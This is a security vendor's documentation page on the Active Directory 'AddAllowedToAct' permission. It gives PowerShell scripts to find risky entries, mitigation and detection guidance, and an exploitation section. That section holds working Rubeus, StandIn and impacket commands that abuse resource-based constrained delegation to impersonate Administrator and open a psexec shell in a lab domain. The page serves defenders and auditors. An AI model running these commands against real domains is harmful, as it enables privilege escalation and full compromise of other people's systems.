# AddAllowedToAct

## Summary

|                            |                                                |
| -------------------------- | ---------------------------------------------- |
| **FSProtect ACL Alias**    | AddAllowedToAct                                |
| **AD Alias**               | Write msDS-AllowedToActOnBehalfOfOtherIdentity |
| **Affected Object Types**  | Computers                                      |
| **Exploitation Certainty** | Certain                                        |
| **AD Attribute**           | msDS-AllowedToActOnBehalfOfOtherIdentity       |
| **Attribute GUID**         | 3f78c3e5-f79a-46bd-a0b8-9d18116ddc79           |
| **AD Right**               | WriteProperty                                  |

## Description

The `AddAllowedToAct` permission in Active Directory allows an account to modify the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute on computer or service accounts. This permission is crucial for configuring Kerberos **Resource-Based Constrained Delegation (RBCD)**, enabling services to impersonate users securely and access resources on their behalf. It facilitates flexible authentication scenarios and simplifies delegation configurations within the network.

However, if misconfigured, the `AddAllowedToAct` permission can introduce significant security vulnerabilities. An attacker with this permission can add their own account to the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute of a target computer or service account. This grants them the ability to impersonate any user when accessing services on that machine. Exploiting this vulnerability could lead to unauthorized access, privilege escalation, and full compromise of the system, as the attacker can act on behalf of any user—including domain administrators—to access sensitive resources.

## Identification

### PowerShell

Using the Active Directory PowerShell module, you can enumerate `AddAllowedToAct` entries.

**1.** Find-AddAllowedToAct Function

```powershell
function Find-AddAllowedToAct {
    [CmdletBinding()]
    param ([string]$Target = $null,[string]$SearchBase = $null,[string]$OutputPath = "AddAllowedToAct.csv")
    Import-Module ActiveDirectory
    Write-Host "Searching for permissions on the msDS-AllowedToActOnBehalfOfOtherIdentity attribute..."
    $AccessControlType = [System.Security.AccessControl.AccessControlType]::Allow
    $ActiveDirectoryRights = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty
    # Guid of Write msDS-AllowedToActOnBehalfOfOtherIdentity
    $AddAllowedToActPermissionGuid = "3f78c3e5-f79a-46bd-a0b8-9d18116ddc79"
    $foundAcls = @();$objectsToScan = @()
    try {
        if ($Target) {
            Write-Host "Searching for permissions on specific object: '$Target'."
            $specificObject = Get-ADObject -Identity $Target -Properties servicePrincipalName, nTSecurityDescriptor -ErrorAction Stop
            if ($specificObject) {
                if ($specificObject.servicePrincipalName) {
                    $objectsToScan += $specificObject
                } else {Write-Output "Object '$Target' does not have a Service Principal Name and is not a valid target for this check.";return}
            } else {
                Write-Output "Object '$Target' not found.";return}} else {
            Write-Host "Searching for all Active Directory objects with a Service Principal Name."
            $actualSearchBase = if ($SearchBase) { $SearchBase } else { (Get-ADRootDSE).DefaultNamingContext }
            $objectsToScan = Get-ADObject -Filter 'servicePrincipalName -like "*"' -Properties servicePrincipalName, nTSecurityDescriptor -SearchBase $actualSearchBase -ErrorAction Stop
        }
        if (-not $objectsToScan) { Write-Output "No Active Directory objects with a Service Principal Name were found to scan.";return}
        foreach ($obj in $objectsToScan) {
            $ObjectDistinguishedName = $obj.DistinguishedName
            try {
                $acl = Get-Acl -Path "AD:$ObjectDistinguishedName"
                foreach ($ace in $acl.Access) {
                    if ($ace.AccessControlType -eq $AccessControlType -and ($ace.ActiveDirectoryRights -band $ActiveDirectoryRights) -and ($ace.ObjectType -eq $AddAllowedToActPermissionGuid) -and -not $ace.IsInherited -and -not $isExcluded) {
                        $foundAcls += [PSCustomObject]@{
                            'Vulnerable Object' = $ObjectDistinguishedName
                            'Internal Threat'   = $ace.IdentityReference.Value # Get the string representation
                        }}}}
            catch {Write-Warning "Could not retrieve ACL for '$ObjectDistinguishedName': $($_.Exception.Message)"}}}
    catch {Write-Error "Failed to retrieve Active Directory objects: $($_.Exception.Message)";return}
    if ($foundAcls.Count -gt 0) {
        Write-Host "Found $($foundAcls.Count) Active Directory object(s) with 'WriteProperty' permissions on the RBCD attribute"
        try {
            $foundAcls | Sort-Object -Unique 'Vulnerable Object', 'Internal Threat' | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
            Write-Output "Results exported successfully to '$OutputPath'"
        } catch {Write-Error "Failed to export results to CSV file '$OutputPath': $($_.Exception.Message)" }
    } else {Write-Output "No Active Directory objects found with 'WriteProperty' permissions on the RBCD attribute"}}
```

**2.** Scan all domain `Service Principal Names` objects

```powershell
Find-AddAllowedToAct
```

**3.** Scan a specific object

```powershell
Find-AddAllowedToAct -Target 'CN=VM01,OU=Workstations,DC=forestall,DC=labs'
```

**4.** Using `SearchBase` to limit the searching scope

```powershell
Find-AddAllowedToAct -SearchBase "OU=Domain Controllers,DC=hecker,DC=local"
```

#### .NET Directory Services

By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate `AddAllowedToAct` entries without relying on any external modules or dependencies.

**1.** Find-AddAllowedToActSimple function

```powershell
function Find-AddAllowedToActSimple {
    [CmdletBinding()]
    param([string]$Target )
    $rbcdGuid = [guid]"3f78c3e5-f79a-46bd-a0b8-9d18116ddc79"
    if ($Target -and $Target -match '=') {
        Write-Verbose "Binding directly to object: $Target"
        try {
            $entries = @(New-Object System.DirectoryServices.DirectoryEntry("LDAP://$Target"))
        }catch {Write-Error "Failed to bind to object '$Target': $_";return}}
    else {
        if ($Target) {
            Write-Verbose "Binding to RootDSE on server $Target...";$rootDE = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$Target/RootDSE")}
        else {Write-Verbose "Binding to local RootDSE...";$rootDE = New-Object System.DirectoryServices.DirectoryEntry("LDAP://RootDSE")}
        $baseDN = $rootDE.Properties["defaultNamingContext"].Value
        Write-Verbose "defaultNamingContext = $baseDN";$ldapPath = if ($Target) { "LDAP://$Target/$baseDN" } else { "LDAP://$baseDN" }
        Write-Verbose "Using search root: $ldapPath";$searchRoot = New-Object System.DirectoryServices.DirectoryEntry($ldapPath)
        Write-Verbose "Searching for (servicePrincipalName=*)...";$searcher = [System.DirectoryServices.DirectorySearcher]::new($searchRoot)
        $searcher.Filter   = "(servicePrincipalName=*)";$searcher.PageSize = 1000
        [void]$searcher.PropertiesToLoad.Add("distinguishedName")
        try {
            $hits = $searcher.FindAll()
            Write-Verbose "Found $($hits.Count) SPN’d object(s)."
        }catch {Write-Error "LDAP search failed: $_";return}
        $entries = foreach ($hit in $hits) {
            try { $hit.GetDirectoryEntry() }
            catch { Write-Warning "Could not bind entry: $_"; continue }}}
        $found = foreach ($entry in $entries) {
        Write-Verbose "Checking ACLs on: $($entry.distinguishedName)"
        try {$acl  = $entry.ObjectSecurity;$aces = $acl.GetAccessRules($true, $true, [System.Security.Principal.SecurityIdentifier])}
        catch {Write-Warning "Failed to retrieve ACL for $($entry.distinguishedName): $_";continue}
        foreach ($ace in $aces) {
            $isAllow      = $ace.AccessControlType -eq [System.Security.AccessControl.AccessControlType]::Allow
            $hasWriteProp = ($ace.ActiveDirectoryRights -band [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty)
            $isRBCD       = $ace.ObjectType -eq $rbcdGuid
            $inherited    = $ace.IsInherited
            if ($isAllow -and $hasWriteProp -and $isRBCD -and -not $inherited) {
                $who = try {$ace.IdentityReference.Translate([System.Security.Principal.NTAccount]).Value} catch {$ace.IdentityReference.Value}
                [PSCustomObject]@{
                    Object    = $entry.distinguishedName.ToString()
                    Principal = $who
                }}}}
    if ($found) {
        $found | Export-Csv -Path ".\AddAllowedToAct.csv" -NoTypeInformation -Encoding UTF8
        Write-Host "Exported $($found.Count) entr$(if($found.Count -eq 1){'y'}else{'ies'}) to AddAllowedToAct.csv"
    }else {Write-Host "No RBCD ACLs found."}}
```

**2.** Scan all `Service Principal Names` objects in the domain

```powershell
Find-AddAllowedToActSimple
```

**3.** Scan a specific object

```powershell
Find-AddAllowedToActSimple -Target "CN=Vm01,OU=Workstations,DC=Forestall,Dc=labs"
```

### Active Directory Users and Computers

**1.** Open `Active Directory Users and Computers` on a Windows server.

**2.** Right-click the object and select Properties.

**3.** In the Properties window, go to the Security tab.

**4.** Click the Advanced button to open the Advanced Security Settings dialog.

**5.** In the Advanced Security Settings window, locate and select the relevant Access Control Entry (ACE) for the user or group you wish to review.

**6.** Click Edit to modify the selected ACE.

**7.** In the permissions list, locate and check the option `Write msDS-AllowedToActOnBehalfOfOtherIdentity` if you intend to grant it, or clear it to remove the permission.

**8.** Click OK to save and close the dialogs.

![ADCU](/files/IGkuzVRgkMiP1peg2p4S)

## Exploitation

This permission can be exploited on Windows systems using tools like `Rubeus` and on Linux systems with the `impacket` suite. After exploitation, an attacker can obtain the target computer's credentials.

### Windows

#### Create a new computer

This step can be skipped if a controlled SPN account already exists; otherwise, create a new computer using `standin`.

```powershell
.\StandIn.exe --computer vm05 --make
```

![Create computer using standin](/files/IdA9pMcVjpG0puTldozQ)

#### To write msDS-AllowedToActOnBehalfOfOtherIdentity attribute

```powershell
Set-ADComputer -Identity vm01 -PrincipalsAllowedToDelegateToAccount vm05$
```

![Write using AdModule](/files/4NIcaPLQRzitevppOxL5)

Or

```powershell
(Get-ADComputer -Identity VM05).SID.Value
.\StandIn.exe --computer vm01 --sid S-1-5-21-3838874360-3982899950-1830233728-1117
```

![Write using standin](/files/K50dz4woS3AqnHG9QKGE)

#### To get a TGT for the controlled SPN account

```powershell
.\Rubeus.exe asktgt /user:"vm05$" /password:"M7MzyExJiCfq3FX" /domain:forestall.labs /nowrap /enctype:aes128
```

![TGT  using Rubeus](/files/bqTpKEYIBMrbzXhzaL1r)

#### To get a service ticket for an impersonated user

```powershell
.\Rubeus.exe s4u /nowrap /impersonateuser:Administrator /msdsspn:"cifs/vm01.forestall.labs" /ptt /ticket:"doI[snip..]sLmxhYnM="
```

![TGS  using Rubeus](/files/FJpIFOW6Z9pWQdtXMJ1Q)

#### To check admin access on the target

```powershell
ls \\vm01.forestall.labs\c$
```

![Check admin access](/files/m6v2VTqohkeLUCOzBM9k)

### Linux

#### Creating a new Computer

This step can be skipped if a controlled SPN account already exists; otherwise, create a new computer using `impacket-addcomputer`.

```bash
impacket-addcomputer <domain>/<user>:'<pass>' -computer-name '<newComputerName>' -computer-pass '<pass>' -dc-host <dchost> -k
```

#### To write msDS-AllowedToActOnBehalfOfOtherIdentity attribute

```bash
impacket-rbcd -delegate-from '<controlledSPNAccount>' -delegate-to '<targetMachine>' -action write <domain>/<user>:'<pass>' -k -use-ldaps

```

#### To get a service ticket

```bash
impacket-getST -spn cifs/<targetMachineDNSHost> -impersonate <userToImpersonate> <domain>/'<controlledSPNAccount>':'<pass>'@<dchost> -k

```

#### To execute on the target machine

```bash
KRB5CCNAME='<ticketPath' impacket-psexec <domain>/<impersoantedUser>@<targetDnsHost> -k -no-pass

```

Example:

#### To create a new computer

```bash
impacket-addcomputer forestall.labs/adam:'Temp123!' -computer-name 'VM06' -computer-pass 'Temp123!' -dc-host dc.forestall.labs -k
```

#### To write msDS-AllowedToActOnBehalfOfOtherIdentity Attribute

```bash
impacket-rbcd -delegate-from 'VM06$' -delegate-to 'VM01$' -action write forestall.labs/adam:'Temp123!' -k -use-ldaps
```

![Add computer & rbcd](/files/QJ007KP7uQh9EyYg65Vy)

#### To get a service ticket

```bash
impacket-getST -spn cifs/vm01.forestall.labs -impersonate administrator forestall.labs/'VM06$':'Temp123!' -k
```

![Getting TGS](/files/zdaXsXJVEkLRkLJZck64)

Then

```bash
KRB5CCNAME='administrator@cifs_vm01.forestall.labs@FORESTALL.LABS.ccache' impacket-psexec forestall.labs/administrator@vm01.forestall.labs -k -no-pass
```

![Execute on target machine using psexec](/files/3C0smGN4aLsX5eB121wr)

## Mitigation

Access Control Entries identified as dangerous should be removed by following the steps below.

**1.** Open `Active Directory Users and Computers` and enable the 'Advanced Features' option.

**2.** Double-click the affected object and open the Security tab.

**3.** In the Security tab, click the 'Advanced' button, then edit the dangerous object's Access Control Entry.

**4.** Remove the `Write msDS-AllowedToActOnBehalfOfOtherIdentity` permission from the ACE.

**5.** Click OK and Apply to save your changes.

![ADUC](/files/IGkuzVRgkMiP1peg2p4S)

## Detection

Adding new Access Control Entries to Active Directory objects updates the `ntSecurityDescriptor` attribute on those objects.

These changes can be detected using Event IDs 5136 and 4662 to identify dangerous modifications to objects.

| Event ID | Description                                           | Fields/Attributes               | References                                                                                                                     |
| -------- | ----------------------------------------------------- | ------------------------------- | ------------------------------------------------------------------------------------------------------------------------------ |
| 5136     | A directory service object was modified.              | ntSecurityDescriptor            | <https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136>                                     |
| 4662     | An operation was performed on an object.              | AccessList, AccessMask          | <https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662>                                     |
| 4724     | An attempt was made to reset an account's password.   | TargetUserName, SubjectUserName | <https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4724> |
| 4722     | A user account was enabled.                           | TargetUserName, SubjectUserName | <https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4722> |
| 4768     | A Kerberos authentication ticket (TGT) was requested. | TargetUserName                  | <https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768> |
| 4769     | A Kerberos service ticket was requested.              | TargetUserName, ServiceName     | <https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769> |

## References

* [RBCD - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd)
* [Wagging the Dog - Shenanigans Labs](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
* [RBCD Abuse - RedFox Security](https://redfoxsec.com/blog/rbcd-resource-based-constrained-delegation-abuse/)
* [Rubeus - GhostPack](https://github.com/GhostPack/Rubeus)
* [StandIn - FuzzySecurity](https://github.com/FuzzySecurity/StandIn)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.forestall.io/fsprotect/edges/ad/addallowedtoact.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
